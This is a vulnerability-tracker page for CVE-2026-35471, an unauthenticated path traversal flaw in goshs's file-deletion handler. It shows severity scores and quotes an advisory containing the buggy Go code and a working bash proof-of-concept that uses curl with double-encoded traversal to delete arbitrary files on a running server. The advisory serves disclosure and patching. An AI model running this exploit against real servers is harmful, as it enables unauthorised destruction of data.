CVE-2026-35471

criticalpriority · track · 0EPSS 0.007 · 52 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.68% (52nd) EPSS
CVSS 9.8 · critical
Is it mine?
4 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-28

goshs is a SimpleHTTPServer written in Go. Prior to 2.0.0-beta.3, tdeleteFile() missing return after path traversal check. This vulnerability is fixed in 2.0.0-beta.3.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.09.8criticalCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · ENISA EU
v3.09.8criticalCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 3.9 · impact 5.9
v3.09.8criticalCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hsecondary · OSV
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-6qcc-6q27-whp8goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)2026-04-03ghsa · osvUS

    ### Summary * `deleteFile()` missing return after path traversal check | `httpserver/handler.go:645-671` The finding affects the default configuration, no flags or authentication required. ### Details **File:** `httpserver/handler.go:645-671` **Trigger:** `GET /<path>?delete` (handler.go:157-160 dispatches to `deleteFile`) The function detects `..` in the decoded path but does not `return`. ```go func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) { upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/"))) fileCleaned, _ := url.QueryUnescape(upath) if strings.Contains(fileCleaned, "..") { w.WriteHeader(500) _, err := w.Write([]byte("Cannot delete file")) if err != nil { logger.Errorf("error writing answer to client: %+v", err) } // BUG: no return, falls through to os.RemoveAll } deletePath := filepath.Join(fs.Webroot, fileCleaned) err := os.RemoveAll(deletePath) // always executes ``` **Root causes:** Missing `return` after the guard makes the check dead code **Impact:** Unauthenticated arbitrary file/directory deletion. **PoCs:** ```bash #!/usr/bin/env bash # Delete an arbitrary file/directory on a running goshs instance. # Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete> set -euo pipefail HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}" PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}" TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}" # Double-encode ".." => %252e%252e # We don't know the webroot depth, so use 16 levels (covers most paths). TRAVERSAL="" for _ in $(seq 1 16); do TRAVERSAL="${TRAVERSAL}%252e%252e/" done # Strip leading / from target and URL-encode any special chars TARGET_REL="${TARGET#/}" ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))") URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete" echo "[*] Target: ${TARGET}" echo "[*] Request: GET ${URL}" echo "" HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL") echo "[*] HTTP ${HTTP_CODE}" ``` To execute it: `./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary` --- ## Recommendations Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.

  • GO-2026-5186goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) in github.com/patrickhener/goshs2026-06-25vendor · osvUS

    goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) in github.com/patrickhener/goshs

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-04-06modified 2026-07-24
08

references (5)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan